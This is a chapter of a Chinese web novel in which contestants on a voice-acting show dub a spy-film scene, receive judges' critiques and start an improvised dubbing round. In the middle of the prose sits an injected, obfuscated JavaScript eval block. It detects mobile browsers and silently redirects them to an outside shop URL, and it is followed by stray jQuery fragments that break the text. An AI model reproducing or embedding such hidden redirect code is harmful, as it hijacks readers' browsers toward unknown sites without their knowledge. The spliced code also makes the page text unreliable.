大家各自顺完台词，便开始了配音。
没有后期的背景乐，台词的情绪全靠配音演员自己的输出，这时候最是考验个人功底，而且现场直接配，不给打点的机会，效果如何纯看临场发挥。
这是个民国谍战片，这一段是男主的间谍身份遭怀疑被抓，女主来求身为高官女儿的女二救人的戏码。
电影中，面对江燕义的祈求，韩宝珠一副上位者的姿态，一边品茗，一边淡淡地瞥了一眼前来求助的江燕。
“所以呢？我为什么要救他？他是冤枉的又如何？你出去看看，这世上苦难之人千千万，难道每一个我都得救？那我岂不得累死？”关享说得极是漫不经心，“他穆林森是生是死，与我何干？”
江燕义愤填膺地指责她冷血无情，韩宝珠却只是冷哼了一声，仿佛面前站的不过是一只蝼蚁。不过江燕咋呼的声音似是烦到她了，她不耐烦地“啧”了一声，喊了身后的管家：“吴伯，送客。”
江燕离开后，立马去找其他人一起想法子营救穆林森，后面就没有关享的台词了，她就静静旁听。
可能是因为蒋佩瑶鲜少接触影视剧配音，关享一路听下来，明显察觉到她落了下乘。
十分钟的小短片，说快也很快。这次，关享他们五个不再是隔着屏幕听秦琼几人评价，而是所有人一起进了演播厅，当场接受几位老师的点评。
嘉宾和评委的第一次见面，主持人自然是要整活儿活跃一下气氛。他让关享他们来了个声音模仿秀，模仿各种动物或者名人的声音。
于关享他们而言，这就是信手拈来。在各自展示完绝活之后，终于正式进入此轮的点评环节。
大屏幕上开始播放刚刚的成片。
所有角色都换了人来配，确实跟原片有些不一样的味道。
比如关享的韩宝珠，声音里透出来的是优越的冷漠，即便是一连串的反问，也是淡漠的，声线几乎没有起伏，而原片里的韩宝珠，更多的是尖锐嘲讽。
声音也会赋予角色以新的生命。
“江燕不该是这样的。”最先说话的是刘娜刘老师。
林思雨的脸唰一下就白了。
“她是一个有智慧、果敢、立场坚定的女人，即便是想让韩宝珠帮忙，也不会如此低姿态地摇尾乞怜。后面的指责，我也只听出来你的愤怒，她对朋友的失望你丝毫没有体现出来。”
林思雨毕竟是个入行没两年的小姑娘，秦琼在一旁打圆场：“不过后面那段倒是表现得不错，情绪很到位，还是可圈可点的。”
“多谢二位老师的点评，我会继续努力，精进自己。”嘴上虽这么说着，可林思雨嘴角强扯出的弧度却险些挂不住。
“这一场，我觉得最惊喜的还是关享你的韩宝珠。”江飞眼底的满意漫了上来，“你不同的处理方式，真的让我看到了完全不一样的一个韩宝珠，但是她骨子里的自我和傲气却一点都没丢。”
“多谢江老师。”
江飞转而又提到蒋佩瑶：“佩瑶吃亏了哈，这不是你熟悉的领域，情绪处理上较其他人确实是差了些火候。”
蒋佩瑶倒是很诚恳地接受了批评：“一个优秀的配音演员，不应该拘泥于形式，确实是我的水平还不够，不能将最好的声色体验带给大家。”
在对余下的两位嘉宾做完点评后，三位评委在各自的评分表中进行了打分。
为了保持悬念，此次打分暂不公开。在第三轮的打分完成过后，才会公布。
届时三轮总分最高者，便是这一场的冠军。
第三轮的比拼形式又有所改变。
节目组自制了一段小短片，没有台词，需要男女嘉宾合作，现场发挥，自由进行配音。由于场上有三位女嘉宾，但男嘉宾只有两位，主持人邀请了江飞上场跟其中一名女嘉宾搭档。
主持人问江飞：“江老师有想要合作的嘉宾么？”
“其实每一位我都想合作。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964954|214458||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
江飞笑了笑，将选择权交给了关享她们，“还是看她们哪位愿意跟我这个老头子合作吧！”
林思雨第一个举手自荐：“江老师我想跟您合作，我一直看您配的剧，真的很想向您学习。”
“好，那我就跟思雨一起吧。”
关享和蒋佩瑶各自择了一个搭档。
节目组先播放了一遍片段——没有台词，没有音乐，是一场只有两个演员表演的默剧。从他们的肢体动作上可以看出来，是一男一女两个人在吵架，由于没有限定角色身份，给了大家很大的发挥空间。
片段播放完，节目组给了各组嘉宾五分钟时间商议自己想要演绎的情节。
时间一到，江飞和林思雨这组选择率先来进行配音。
他们选择演绎的角色是夫妻，因为孩子教育的问题而产生矛盾。
江飞不愧是国家一级配音演员，林思雨可以说是完全被碾压——江飞一直有理有据地解释、劝说，而林思雨却只知道提高声量，言之无物，两人与其说是在争辩，倒不如说是妻子在无理取闹。
蒋佩瑶选择的是男女朋友吵架的场景，两人情绪都很到位，吵得有些上了头，关享还真以为自己看了一场分手大戏。
轮到关享的时候，他们却先选择了角色保密，让大家听他们的台词，猜猜二人是什么关系。
第一组为了娃，第二组为了情，关享这组是为了钱。
“你一天到晚正事不干，就知道打牌——输了就回家要钱，你当这是家还是你的ATM机呢？小萌前两天高烧，我给你打电话你为什么不接？又在牌桌上吧？回来到现在你问也不问一句，满嘴的钱钱钱，我没钱，你给我滚！”
秦琼一边听着，一边和旁边的刘娜悄悄猜测：“这是妻子在骂不成器的丈夫吧？”
刘娜点头：“看着像。”
场上大多人也是跟她们一样的想法，直到和关享搭档的张路喊出来一句——
“小妈！”